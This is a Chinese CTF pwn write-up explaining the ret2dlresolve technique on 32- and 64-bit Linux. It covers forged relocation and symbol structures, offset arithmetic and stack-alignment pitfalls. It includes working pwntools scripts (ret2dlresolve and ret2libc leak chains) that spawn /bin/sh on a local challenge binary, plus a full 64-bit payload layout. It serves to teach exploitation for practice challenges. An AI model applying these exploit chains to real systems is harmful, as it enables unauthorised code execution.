r_sym = (0x0804c84c - 0x0804820c) // 16 = 0x4640 // 0x10 = 0x464   ✓ 整数!
r_info = (0x464 << 8) | 0x07 = 0x46407
text
0x0804820c + 0x464×16 = 0x0804c84c   ← 可我们的假 Sym 在 0x0804c840(base+0x18)!
                                        差了 0x0c,解析器读到的就是垃圾

布局修正后:

c
[base+0x10] 假 Elf32_Rel   ← 8字节,占 0x10-0x18
[base+0x18] (空白 padding,0x0c 字节)
[base+0x24] 假 Elf32_Sym   ← 挪到这!16字节,占 0x24-0x34
[base+0x34] "system\0"
[base+0x3c] "/bin/sh\0"

st_name 伪造

0x464 << 8 这个的意思就是左移 8 位,也就是变成 0x46400,再把低 8 位填上类型 0x07,得到 0x46407。

很好,自此我们就只剩下了 st_name 这个没定位了。

text
st_name = "system" 字符串的地址  -  .dynstr

我们之前布局好了就是 system 字符串地址在 base+0x34 位置。所以计算之后就是:

text
st_name = hex(0x0804c85c - 0x080482ac) = 0x45b0

0x07 最终 exploit

四个值齐了:reloc_index = 0x44b8、r_info = 0x46407、st_name = 0x45b0、r_offset = 0x0804c01c(write@got)。

pviot的意义在于将esp跳转到base。其实我们也可以将操作放到栈溢出的后面,然后让数据自己去定位查找也就是解析器的任务

skip的意义在于清理read残留在栈中的数据让esp顺然的达到jmp_plt

reloc_index → Elf32_Rel → r_info → Elf32_Sym → st_name → "system"

不使用pviot的版本

理解上面的原理之后我们就可以使用工具去快速查询了,pwntools有ret2dlresolve的快速搭建

c
from pwn import *
import time
context(os = 'linux',arch = 'i386')
r        = process('./pwn200')
elf      = ELF('./pwn200')
read_plt =  elf.plt['read']
plt0     = elf.get_section_by_name('.plt').header.sh_addr
bss      = elf.get_section_by_name('.bss').header.sh_addr
skip     = 0x0804901f #add esp,8; pop ebx; ret

dlresolve = Ret2dlresolvePayload(elf, symbol="system", args=["/bin/sh"], data_addr=bss+0x800)
rop = ROP(elf)
rop.read(0,dlresolve.data_addr,0x400)
rop.ret2dlresolve(dlresolve)
payload = b'A'*112 + rop.chain()
r.recvline()
r.send(payload)
time.sleep(0.2)
r.send(dlresolve.payload)
r.interactive()

不过这题也可以使用ret2libc的盲打形式出来,知识点我就不解释了直接展示libc版本的payload

python
from pwn import *
context(os = 'linux',arch = 'i386')
r = process('./pwn200')
elf = ELF('./pwn200')
libc = ELF('/lib/i386-linux-gnu/libc.so.6')
write_plt = elf.plt['write']
write_got = elf.got['write']
read_got = elf.got['read']
read_plt = elf.plt['read']

r.recvline()
payload_1 = b'a'*112 + p32(write_plt) + p32(0x080491A6) + p32(1) + p32(write_got) + p32(0x4)
r.sendline(payload_1)
leak = u32(r.recv(4))
print(f'write leak: {hex(leak)}')


payload_2 = b'a'*112 + p32(write_plt) + p32(0x080491A6) + p32(1) + p32(read_got) + p32(0x4)
time.sleep(0.2)

r.send(payload_2)
leak = u32(r.recv(4))
print(f'read leak: {hex(leak)}')
#system
libc.address = leak - libc.symbols['read']
system = libc.symbols['system']
binsh = next(libc.search(b'/bin/sh'))
payload_3 = b'a'*112 + p32(system) + p32(0xdeadbeef) + p32(binsh)
r.sendline(payload_3)
r.interactive()

0x08 踩雷记录

  • 坑 1:system 参数在 base+0x0c,不是 base+0x08。_dl_runtime_resolve 结尾 ret $0xc,跳到 system 时 esp 已经往前走了,system 的 [esp+4] 正好落在 base+0x0c。所以 /bin/sh 指针必须放 base+0x0c,放错 = system(NULL) 崩溃。
  • 坑 2:base 要放可写页高处。数据段里 0x0804b000 - 0x0804c000 是只读页,system 内部栈帧很大,base 太低一压栈就写进只读页 → SIGSEGV。所以 base = .bss + 0x800。
  • 坑 3:/bin/sh 偏移是 0x3b,不是 0x3c。"system\0" 是 7 字节(6 字母 + 1 个 \0),+= 直接拼接时 /bin/sh\0 从 0x34 + 7 = 0x3b 开始,指针必须对准那个 /。写 0x3c 的话 system 收到 "bin/sh"(少个斜杠)→ 找不到命令。(如果布局里两个字符串之间垫了一个空字节,那才是 0x3c。)
  • 坑 4:结构体要写"内容",不是"地址"。fake_rel / fake_sym 只是算偏移用的变量(一个数字),不写进 payload。解析器到 base+0x10 读的是内容(r_offset + r_info,8 字节);到 base+0x24 读的是内容(st_name + 0 + 0 + 0x12,16 字节)。
  • 坑 5:两次 send 之间要 sleep。第一次 read 的 count=256,两段 payload 加起来小于 256 会被一次读掉,第二次 read 收到 EOF。中间加 time.sleep(0.2) 分开。
  • 坑 6:Elf32_Sym 第一格是 st_name,不是 r_info。r_info 的任务在"找到假 Sym"就结束了(解析器用它的高 24 位算位置)。找到 Sym 之后读第一格才知道名字在哪 → 必须是 st_name。
  • 坑 7(低级笔误):piovt / inteactive / gdb.attch / r.send() 空参,这些拼写错误我调了好久才看出来……写完一定自己扫一遍变量名和函数名。

0x09 套路总结

适用条件:32 位 / Partial RELRO / 无 PIE / NX / 栈溢出,且没 libc、没 system。

固定 5 步:

  1. checksec 确认条件(Partial RELRO 是前提)
  2. 找偏移(cyclic + gdb)
  3. 溢出 → read 把伪造结构写进 .bss → 栈迁移
  4. 伪造 Elf32_Rel + Elf32_Sym + "system" 字符串(4 个公式)
  5. 跳 PLT0,参数放 base+0x0c

四公式默写:

asm
reloc_index = 假Rel地址 - .rel.plt
r_sym       = (假Sym地址 - .dynsym) / 16     ← 要整除 → 对齐
r_info      = (r_sym << 8) | 7
st_name     = "system"字符串地址 - .dynstr

ret2dlresolve64

还记得刚刚我们x32嘛,回顾一下ret2dlresolve流程

函数第一次被调用 → GOT 里还是空位 → PLT 桩 push 号牌 → 跳 PLT0 → push link_map → 进入档案管理员 _dl_runtime_resolve → 它调用 _dl_fixup(link_map, 号牌) 完成 5 跳查表:

c
号牌 → .rel.plt基址+号牌 → Elf32_Rel(单子) → r_info高24位 → .dynsym[下标](档案)
     → 档案的st_name → .dynstr+st_name(字典)→ "函数名" → 查libc → 地址写进r_offset → 跳过去

那么x64位也是这个流程,只是说在一些关键点出现了不同的地方

#部件32 位64 位攻击后果
1号牌语义字节偏移(第 i 项 push i×8),管理员直接用索引(第 i 项 push i),管理员内部 ×24反算公式变成 (假Rela−JMPREL)/24,必须整除
2单子厚度Elf32_Rel 8B(r_offset+r_info)Elf64_Rela 24B(多了 r_addend,填 0)假单子要多缝 8 字节
3档案编号宽度r_info = (下标<<8)|7r_info = (下标<<32)|7低位 7 过类型断言的规则不变
4档案页规格Elf32_Sym 16BElf64_Sym 24B,字段还重排了(st_name, st_info, st_other, st_shndx, st_value, st_size)(假Sym−SYMTAB)/24,整除
5传参方式cdecl 走栈,&"/bin/sh" 放栈上自动就位走寄存器 → 必须先 pop rdi 设好 "/bin/sh"x64 额外需要一个 gadget;好消息:resolver 保存/恢复全部参数寄存器,rdi 能活着到 system

攻击流程

c
①栈溢出覆盖 saved rbp + ret
②把 payload2(假Rela+假Sym+"system"+"/bin/sh")写进 bss     ← 经典题: ROP调read自己写
                                                              本题: 程序hardcode白送
③ pop rdi 设 rdi = &"/bin/sh"                               ← x64特供
④ leave;ret 切栈到 bss                                       ← 栈迁移,两个版本都要
⑤ ret 弹出第1格 = PLT0,进入总台
⑥ PLT0: push link_map ; jmp _dl_runtime_resolve              ← 全自动
⑦ _dl_fixup: JMPREL + 号牌×24 → 伪Rela → r_info拆包 → 伪Sym
   → st_name → "system"                                      ← 全自动
⑧ 查 libc 得 system 地址 → 写进 r_offset 指向的格子
⑨ 恢复现场(rdi原样) → 跳 system("/bin/sh") → getshell

解释一下上面的意思

x32和x64区别

传参从"栈"搬进了“寄存器”

32 位(cdecl 约定):所有参数压栈。调用 system("/bin/sh") 时,栈上依次是返回地址"/bin/sh" 的指针——所以你的 payload 第 4 格放个指针,system 开始执行时从 esp+4 自动拿到参数,什么都不用做。

64 位(SysV 约定):前六个整型/指针参数依次走 rdi, rsi, rdx, rcx, r8, r9,栈上不传。system 只看 rdi。

影响:x64 的 payload1 里必须插入 pop rdi; ret gadget,在进入 PLT0 之前把 rdi 装上 &"/bin/sh"。而且这里有个精妙的设计在帮你:resolver 执行前会把全部参数寄存器保存起来、解析完再原样恢复——正是为了不弄脏真实调用的参数——所以你装好的 rdi 能穿过整个解析过程活着到达 system。

连带差异:_dl_fixup 收参数的方式也变了——x32 靠 cdecl(PLT0 push 的 link_map 和桩 push 的号牌恰好就是栈上的两个参数,压栈即传参);x64 则由 resolver 从栈上读出这两个值、装进 rdi 和 rsi 再调用。分工不变,搬运方式变了。


PLT/GOT 的区别

32 位:只有一张 .plt,每个条目 = jmp *GOT + push 偏移; jmp PLT0

64 位(开了 CET 支持的现代编译默认):拆成两张

.plt.sec:对外服务的“接待窗口”(endbr64; jmp *GOT),程序调用走这里;

.plt:后台的“未解析处理区”,放 push 索引; jmp PLT0 桩和 PLT0 总台。

GOT 每格也从 4 字节变 8 字节(地址宽了)。

影响:你 ROP 里 ret 的目标仍然是 .plt 的 PLT0(带 push 的那个),.plt.sec 只是让反汇编时多了一节,不影响 dlresolve 流程。

还有一个一眼分辨位数的技巧:看 PLT 桩 push 的数

x32:push 0x8 / 0x10 / 0x18 …(字节偏移,8 的倍数)

x64:push 0 / 1 / 2 / 3 …(纯索引) 你的 vuln 里就是 push 0x0, 0x1, 0x2, 0x3——这就是层面四的前兆。


表项格式变化

表32 位64 位做题要改的
重定位表.rel.plt,Elf32_Rel 8B = r_offset(4)+r_info(4).rela.plt,Elf64_Rela 24B = r_offset(8)+r_info(8)+r_addend(8)假单子多缝 8 字节,r_addend 填 0(JMP_SLOT 不用它,但字段必须占位)
符号表Elf32_Sym 16B:st_name(4), st_value(4), st_size(4), st_info(1), st_other(1), st_shndx(2)Elf64_Sym 24B:st_name(4), st_info(1), st_other(1), st_shndx(2), st_value(8), st_size(8)伪造时的字节布局完全不同(注意字段顺序重排了);st_other=0 的检查两个版本都有
字符串表.dynstr,st_name 是字节偏移一模一样不变 ✓

r_info 的打包宽度:(下标<<8)|7 → (下标<<32)|7。低位=类型 7(JMP_SLOT 断言)这个规则不变,只是“编号搬家搬到了高楼层的 32 位”里。


号牌语义

32 位:PLT 桩 push 的号牌 = 那张单子在 .rel.plt 里的字节偏移。_dl_fixup 拿来直接加:reloc = JMPREL + reloc_arg。

64 位:PLT 桩 push 的是第几号(索引)。_dl_fixup 内部自己乘 24:reloc=JMPREL + reloc_arg*24

asm
mov %esi,%ebx              ; ebx = 号牌
lea (%rbx,%rbx,2),%rcx     ; ×3
lea (%rdx,%rcx,8),%rsi     ; ×8  → 合计 JMPREL + 号牌×24

反算公式从 号牌 = 假Rel − JMPREL 变成 号牌 = (假Rel − JMPREL) / 24,且必须整除。写 x64 exp 时如果带着 32 位的肌肉记忆直接减完就 push,就会像我们之前那样——resolver 读到错误的单子、R_TYPE != 7 断言当场爆炸。


栈上的工程约束

16 字节栈对齐:SysV 规定函数入口 rsp ≡ 8 (mod 16),glibc 的 do_system 内部有 movaps(要求 16 字节对齐的 SSE 指令),不对齐就崩。x32 栈是 4 字节粒度,基本碰不到这坑。做题影响:切栈点要满足 ≡ 8 (mod 16)。

resolver 的工作台大得多:x32 的 resolver 进门前只压 3 个寄存器(12 字节);x64 的 _dl_runtime_resolve_xsavec 要用 xsave 把全部参数寄存器和状态存下来(因为它们装着真实调用参数,一个都不能脏),要往下开辟约 0x3c0 字节。做题影响:切栈点下方必须有足够空地,否则工作台压进只读页。

数字都变大了:表项 24B、指针 8B,导致同样“柜子越界”,x64 的号牌、下标、偏移量级都不同——别用 32 位的数值直觉套 64 位。


要不我们先分析一下程序怎么走吧

程序源码

bash
gcc -no-pie -fno-stack-protector -z lazy -o vuln vuln.c

0x01 程序分析

点击放大,点击空白处返回
点击放大,点击空白处返回
点击放大,点击空白处返回
点击放大,点击空白处返回

通过readelf能发现主要函数就用了这几个

字符串搜索看看有没有sh或者/bin/sh

点击放大,点击空白处返回
点击放大,点击空白处返回

0x02 函数分析

main函数->0x04011FE

点击放大,点击空白处返回
点击放大,点击空白处返回

vuln函数->0x4011A7

点击放大,点击空白处返回
点击放大,点击空白处返回

看看栈空间有没有可以写的地方,因为NX开启了保护也不能当作代码去执行。

通过IDA可以发现.bss起始地址是0x0404060

点击放大,点击空白处返回
点击放大,点击空白处返回

在x64中system运行时申请的栈空间是0xA00

我们得先确认payload该写入什么地方

X64的落点约定

1.确认RW的上/下限,不能超越内存rw的范围(0x404000~0x406000)

2.在选择放置位置的时候先计算system申请之后的栈空间(栈向低地址生长)是否具有RW权限。即base-0xA00≥RW上限(本题为base-0xA00≥0x404000)

3.reloc_arg = (假Rela地址 − DT_JMPREL) ÷ 24,结果必须为整数,sym_index = (假Sym − SYMTAB) ÷ 24 必须整除;换句话来说选定的base地址需要符合 mod 24 = 16和base mod 16 = 8

我们先找到JMPREL(.rela.plt),SYMTAB(.dynstr)的地址吧

shell
readelf -S vuln | grep -E "rel\.plt|dynsym|dynstr|\.plt |\.bss"
点击放大,点击空白处返回
点击放大,点击空白处返回

通过+8进行嗅探发现0x404A28符合条件,下面这个表格是10进制的

小数 NNNN mod 24(要求 = 16)NN mod 16(要求 = 8)判定
00 ✗0 ✗淘汰
88 ✗8 ✓淘汰
1616 ✓0 ✗淘汰
240 ✗8 ✓淘汰
328 ✗0 ✗淘汰
4016 ✓8 ✓命中!

0x03 攻击原理图

和x32的一样,需要通过push num去设置reloc_index ,先进行位置规划之后才进行

理论规划应该是

asm
PLT[0]                       ← ret 弹这(栈迁移后的执行入口)
reloc_arg                    ← resolver 按 [rsp+8] 读第 2 格
system 返回地址(0)           ← resolver 清理 16 字节后 rsp 落这
─────────────────────────────  以上=消费区 / 以下=数据区  ──
"/bin/sh\0"                  ← 提供给 system()(rdi 指向这里)
"system\0"                   ← 提供给 st_name
伪造 Elf64_Rela (24B)        ← 号牌定位到这里
伪造 Elf64_Sym (24B)         ← r_info 定位到这里

PLT0获取

通过正常的函数去分析拿到,那我们就分析write函数调用时,PLT0指向了什么地方了吧

点击放大,点击空白处返回
点击放大,点击空白处返回

Elf64_Rela选择判断

Elf64_Rela 地址 = DT_JMPREL + reloc_arg × 24

候选偏移候选地址差值 (−0x400588)mod 24相位布局判定
+0x180x404A400x44B80 ✓✓与 +0x20/+0x28 两个字符串重叠淘汰(冲突)
+0x200x404A480x44C08✗(还与 /bin/sh 重叠)淘汰(相位,不能有余数)
+0x280x404A500x44C816✗(压住 "system")淘汰(相位,不能有余数)
+0x300x404A580x44D00✓空闲★命中 → reloc_arg = 734
+0x480x404A700x44E80✓空闲备选 → 号牌 735
+0x600x404A880x45000✓空闲备选 → 号牌 736

那我们就选定Elf64_Rela 伪造存放地址为0x404A58吧


Elf64_Sym地址选择判断

shell
Elf64_Sym地址 = DT_SYMTAB(0x4003d8) + index × 24

也是按照顺序进行推理看看后面的+0x48会不会符合

候选偏移候选地址差值(−0x4003d8)mod 24相位布局判定
+0x180x404A400x4680(=24×751)0 ✓✓与 +0x18 占位/+0x20 /bin/sh/+0x28 system 重叠淘汰(冲突)
+0x200x404A480x4670(余 8)8 ✗×(还压着 /bin/sh)淘汰(相位,不能有余数)
+0x280x404A500x4678(余 16)16 ✗×(压住 "system")淘汰(相位,不能有余数)
+0x300x404A580x4680(=24×752)0 ✓✓与假 Rela(+0x30)重叠淘汰(冲突)
+0x380x404A600x4688(余 8)8 ✗×(在 Rela 内部)淘汰(相位,不能有余数)
+0x400x404A680x4690(余 16)16 ✗×(在 Rela 内部)淘汰(相位,不能有余数)
+0x480x404A700x4698(=24×753)0 ✓✓空闲(紧贴 Rela 尾部)★命中 → sym_index = 753
+0x500x404A780x46A0(余 8)8 ✗×空闲淘汰(相位,不能有余数)
+0x580x404A800x46A8(余 16)16 ✗×空闲淘汰(相位,不能有余数)
+0x600x404A880x46B0(=24×754)0 ✓✓空闲备选 → sym_index = 754(exp 的选择,留 0x18 空隙)

至此根据反推将reloc_arg和r_info给计算出来

ELf64_Rel根据公式反推出 reloc_arg为734

Elf64_Sym根据公式反推出 sym_index(r_info >> 32)


所以可以完善一下payload构造了

asm
[+0x00] PLT[0] = 0x401020
[+0x08] reloc_arg = 734
[+0x10] system_ret_addr = 0
[+0x18] padding = 0
[+0x20] "/bin/sh\0"                      ← rdi 指向这里
[+0x28] "system\0"                       ← st_name 指向这里
[+0x30] Elf64_Rela → r_offset = 0x404B38
[+0x38] Elf64_Rela → r_info  = 0x2F100000007
[+0x40] Elf64_Rela → r_addend = 0
[+0x48] Elf64_Sym → st_name = 0x45B8     → 解析至 +0x28 的 "system"
[+0x4C] Elf64_Sym → st_info = 0x12      (1B)
[+0x4D] Elf64_Sym → st_other = 0        (1B)
[+0x4E] Elf64_Sym → st_shndx = 0        (2B)
[+0x50] Elf64_Sym → st_value = 0        (8B)
[+0x58] Elf64_Sym → st_size  = 0        (8B)
[+0x60] (Sym 结束;宽松版布局的 Sym 起点在这里)
点击放大,点击空白处返回
点击放大,点击空白处返回

这题和x32不同的是传参变成了从寄存器传输参数,所以我们得提前进行写入pop rdi将bin/sh地址写入到rdi中

Moectf-Pwn
博客文章加密教程

评论区

评论加载中...